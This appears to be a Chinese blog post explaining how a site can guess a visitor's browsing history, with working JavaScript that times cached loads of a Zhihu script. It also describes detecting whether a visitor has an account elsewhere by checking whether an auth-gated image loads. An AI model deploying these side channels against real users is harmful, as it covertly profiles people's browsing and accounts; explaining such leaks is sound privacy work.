一种探测你近期是否访问过指定网站的方式

html的a标签有一个特性,当用户访问过其href指向的链接后,在任意其他网站出现一个a标签,链接也是一样的话,显示的标签内的内容颜色会跟默认的颜色不一样。当然,开发者也可以通过css的伪类选择器指定其为别的颜色:

a:visited {color: #00FF00}

那么,我们是不是可以在自己的网站插入一堆的隐藏a标签,诱导某用户访问,然后使用js去获取各个a标签颜色的值就能知道该用户是否访问过对应的网站呢?

实际上,在过去几年前,确实是可以的,但后面由于该特性泄露用户隐私而被浏览器给处理了,任何时候通过window.getComputedStyle(someATage).color拿到的值都是与用户访问前一样。那么我们还有没有方式可以达到类似的效果呢?

最近研究http缓存的时候,突然想到,用户既然访问过某网站,而某网站又配置了静态资源缓存的话,那么我们是不是可以通过判断用户加载指定资源的时长来大致确定用户之前是否访问过某网站呢?

思路:

  1. 找一个某网站首页加载的静态资源,越大越好,比如知乎的main.app.js
  2. 诱导用户访问evail.com,用户打开后,尝试创建script标签去加载该静态资源,并记录加载时长a
  3. 再次创建script标签,依然去加载该静态资源,并记录加载时长b
  4. 计算a-b的值,即可大致判断用户是否曾经(近段时间内)是否打开过知乎了
async function iKonwYouVisitedTheWebsite(resourceSrc){
      function getLoadTime(){
        return new Promise(r=>{
          const script = document.createElement('script')
          const start = Date.now()
          script.onload = () => {
            document.body.removeChild(script)
            r(Date.now() - start)
          }
          script.src = resourceSrc
          document.body.appendChild(script)
        })
      }
      const t1 = await getLoadTime()
      const t2 = await getLoadTime()
      return t1 - t2
}
  iKonwYouVisitedTheWebsite('https://static.zhihu.com/heifetz/main.app.a662d8a4162fcbc4916e.js').then(t=>{
    document.write(t>250 ? `您没上过知乎:${t}` : `您上过知乎:${t}`)
  })

互联网上随时可能泄露自己的隐私,浏览器隐私模式保平安。不是开发者不防,有时候连开发者都不知道某些机制会泄露用户隐私。举一个我最近研究跨域想到的例子:

如果我们的静态资源需要授权的话(比如有权限则正常响应200,无权限响应401之类的),那么用心人利用在evail.com插入一个img标签嵌入该图片,即可通过图片是否加载成功刺探到用户是否在该网站有注册。